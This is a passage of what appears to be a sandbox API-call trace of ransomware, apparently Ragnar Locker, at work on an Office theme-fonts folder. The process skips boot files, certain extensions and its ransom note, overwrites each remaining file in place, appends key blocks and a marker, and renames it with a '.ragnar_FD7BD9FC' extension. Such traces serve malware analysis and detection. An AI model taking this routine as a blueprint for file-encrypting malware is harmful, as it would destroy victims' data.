nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0094.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.380] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Metro.xml" | out: lpString1="Metro.xml") returned="Metro.xml" [0094.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml") returned=".xml" [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="autorun.inf") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="boot.ini") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="bootfont.bin") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="bootsect.bak") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgr") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgr.efi") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="bootmgfw.efi") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="desktop.ini") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="iconcache.db") returned 1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="ntldr") returned -1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.dat") returned -1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.dat.log") returned -1 [0094.380] lstrcmpiW (lpString1="Metro.xml", lpString2="ntuser.ini") returned -1 [0094.381] lstrcmpiW (lpString1="Metro.xml", lpString2="thumbs.db") returned -1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.381] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml")) returned 0x20 [0094.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.381] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3603) returned 1 [0094.381] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.381] GetProcessHeap () returned 0x580000 [0094.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.381] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.383] VirtualAlloc (lpAddress=0x0, dwSize=0xe13, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.383] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.383] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.383] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe13, lpOverlapped=0x0) returned 1 [0094.383] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.383] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe13, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.383] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe13, lpOverlapped=0x0) returned 1 [0094.383] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe13, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.383] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.383] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.383] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.384] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.384] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.384] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.384] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.384] GetProcessHeap () returned 0x580000 [0094.384] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.384] CloseHandle (hObject=0x10c) returned 1 [0094.384] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" [0094.384] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.ragnar_FD7BD9FC" [0094.384] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.385] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0094.385] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.385] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Module.xml" | out: lpString1="Module.xml") returned="Module.xml" [0094.385] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml") returned=".xml" [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="autorun.inf") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="boot.ini") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="bootfont.bin") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="bootsect.bak") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgr") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgr.efi") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="bootmgfw.efi") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="desktop.ini") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="iconcache.db") returned 1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="ntldr") returned -1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.dat") returned -1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.dat.log") returned -1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="ntuser.ini") returned -1 [0094.385] lstrcmpiW (lpString1="Module.xml", lpString2="thumbs.db") returned -1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.385] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.386] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml")) returned 0x20 [0094.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.387] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3589) returned 1 [0094.387] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.387] GetProcessHeap () returned 0x580000 [0094.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.387] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.388] VirtualAlloc (lpAddress=0x0, dwSize=0xe05, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.389] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe05, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe05, lpOverlapped=0x0) returned 1 [0094.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.389] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe05, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.389] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe05, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe05, lpOverlapped=0x0) returned 1 [0094.389] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe05, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.389] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.389] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.389] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.389] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.390] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.390] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.390] GetProcessHeap () returned 0x580000 [0094.390] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.390] CloseHandle (hObject=0x10c) returned 1 [0094.390] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" [0094.390] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.ragnar_FD7BD9FC" [0094.390] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.393] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0094.393] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.393] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Newsprint.xml" | out: lpString1="Newsprint.xml") returned="Newsprint.xml" [0094.393] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml") returned=".xml" [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="autorun.inf") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="boot.ini") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootfont.bin") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootsect.bak") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgr") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgr.efi") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="bootmgfw.efi") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="desktop.ini") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="iconcache.db") returned 1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntldr") returned -1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.dat") returned -1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.dat.log") returned -1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="ntuser.ini") returned -1 [0094.393] lstrcmpiW (lpString1="Newsprint.xml", lpString2="thumbs.db") returned -1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.393] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml")) returned 0x20 [0094.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.394] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3641) returned 1 [0094.394] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.394] GetProcessHeap () returned 0x580000 [0094.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.394] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.396] VirtualAlloc (lpAddress=0x0, dwSize=0xe39, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.396] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe39, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe39, lpOverlapped=0x0) returned 1 [0094.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.396] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe39, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.396] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe39, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe39, lpOverlapped=0x0) returned 1 [0094.396] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe39, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.396] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.396] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.396] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.396] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.396] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.397] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.397] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.397] GetProcessHeap () returned 0x580000 [0094.397] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.397] CloseHandle (hObject=0x10c) returned 1 [0094.397] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" [0094.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.ragnar_FD7BD9FC" [0094.397] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.398] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0094.398] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.398] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Office 2.xml" | out: lpString1="Office 2.xml") returned="Office 2.xml" [0094.398] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml") returned=".xml" [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="autorun.inf") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="boot.ini") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="bootfont.bin") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="bootsect.bak") returned 1 